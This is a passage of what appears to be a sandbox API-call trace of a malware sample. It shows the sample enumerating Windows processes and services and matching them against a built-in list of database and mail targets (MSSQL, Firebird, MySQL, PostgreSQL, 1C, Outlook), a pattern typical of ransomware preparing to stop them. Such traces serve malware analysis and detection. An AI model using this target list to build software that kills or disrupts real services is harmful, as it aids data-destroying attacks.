lpString2="PcaSvc") returned -1 [0142.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0142.137] lstrlenW (lpString="PlugPlay") returned 8 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0142.137] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0142.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0142.137] lstrlenW (lpString="Power") returned 5 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0142.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0142.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0142.137] lstrlenW (lpString="ProfSvc") returned 7 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0142.137] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0142.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0142.137] lstrlenW (lpString="RpcEptMapper") returned 12 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0142.138] lstrlenW (lpString="RpcSs") returned 5 [0142.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0142.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0142.138] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0142.138] lstrlenW (lpString="SamSs") returned 5 [0142.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0142.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0142.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0142.138] lstrlenW (lpString="Schedule") returned 8 [0142.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0142.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0142.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0142.138] lstrlenW (lpString="SENS") returned 4 [0142.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0142.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0142.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0142.138] lstrlenW (lpString="ShellHWDetection") returned 16 [0142.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.138] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0142.138] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0142.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0142.138] lstrlenW (lpString="Spooler") returned 7 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0142.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0142.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0142.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0142.139] lstrlenW (lpString="SysMain") returned 7 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0142.139] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0142.139] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0142.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0142.139] lstrlenW (lpString="Themes") returned 6 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0142.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0142.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0142.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0142.139] lstrlenW (lpString="TrkWks") returned 6 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0142.139] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0142.139] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0142.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0142.139] lstrlenW (lpString="UxSms") returned 5 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0142.139] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0142.139] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0142.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0142.139] lstrlenW (lpString="Winmgmt") returned 7 [0142.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0142.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0142.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0142.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0142.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0142.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0142.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0142.141] Process32FirstW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.142] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.142] lstrlenW (lpString="System") returned 6 [0142.142] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0142.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0142.142] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.142] lstrlenW (lpString="smss.exe") returned 8 [0142.142] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0142.142] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0142.142] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0142.143] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.143] lstrlenW (lpString="csrss.exe") returned 9 [0142.143] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0142.143] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0142.143] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0142.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0142.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0142.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0142.143] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.143] lstrlenW (lpString="wininit.exe") returned 11 [0142.144] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0142.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0142.144] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.144] lstrlenW (lpString="csrss.exe") returned 9 [0142.144] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0142.144] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0142.144] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0142.144] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0142.144] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0142.144] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0142.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0142.144] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.145] lstrlenW (lpString="winlogon.exe") returned 12 [0142.145] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0142.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0142.145] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.145] lstrlenW (lpString="services.exe") returned 12 [0142.145] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0142.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0142.145] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.146] lstrlenW (lpString="lsass.exe") returned 9 [0142.146] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0142.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0142.146] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0142.146] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0142.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0142.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0142.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0142.146] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0142.146] lstrlenW (lpString="lsm.exe") returned 7 [0142.146] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0142.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0142.146] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0142.146] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0142.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0142.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0142.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0142.146] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.147] lstrlenW (lpString="svchost.exe") returned 11 [0142.147] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0142.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0142.147] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0142.147] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0142.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0142.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0142.147] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.148] lstrlenW (lpString="svchost.exe") returned 11 [0142.148] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.148] lstrlenW (lpString="svchost.exe") returned 11 [0142.148] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.148] lstrlenW (lpString="svchost.exe") returned 11 [0142.148] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.149] lstrlenW (lpString="svchost.exe") returned 11 [0142.149] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0142.149] lstrlenW (lpString="audiodg.exe") returned 11 [0142.149] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.149] lstrlenW (lpString="svchost.exe") returned 11 [0142.149] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.150] lstrlenW (lpString="svchost.exe") returned 11 [0142.150] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.150] lstrlenW (lpString="spoolsv.exe") returned 11 [0142.150] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0142.150] lstrlenW (lpString="taskhost.exe") returned 12 [0142.150] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.151] lstrlenW (lpString="svchost.exe") returned 11 [0142.151] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0142.151] lstrlenW (lpString="userinit.exe") returned 12 [0142.151] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.151] lstrlenW (lpString="dwm.exe") returned 7 [0142.151] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.152] lstrlenW (lpString="explorer.exe") returned 12 [0142.152] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0142.152] lstrlenW (lpString="3G6885.exe") returned 10 [0142.152] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0142.152] lstrlenW (lpString="reader_sl.exe") returned 13 [0142.152] Process32NextW (in: hSnapshot=0x350, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0142.153] CloseHandle (hObject=0x350) returned 1 [0142.153] Sleep (dwMilliseconds=0x1f4) [0142.863] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89a0 [0143.447] EnumServicesStatusExW (in: hSCManager=0x41d89a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0143.447] GetLastError () returned 0xea [0143.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe90) returned 0x41d77b8 [0143.447] EnumServicesStatusExW (in: hSCManager=0x41d89a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xe90, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0143.450] CloseServiceHandle (hSCObject=0x41d89a0) returned 1 [0143.450] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0143.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0143.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0143.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0143.451] lstrlenW (lpString="AudioSrv") returned 8 [0143.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0143.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0143.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0143.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0143.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0143.451] lstrlenW (lpString="BFE") returned 3 [0143.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0143.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0143.451] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0143.451] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0143.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0143.451] lstrlenW (lpString="CryptSvc") returned 8 [0143.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0143.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0143.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0143.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0143.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0143.451] lstrlenW (lpString="CscService") returned 10 [0143.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0143.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0143.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0143.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0143.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0143.452] lstrlenW (lpString="DcomLaunch") returned 10 [0143.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0143.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0143.452] lstrcmpiW 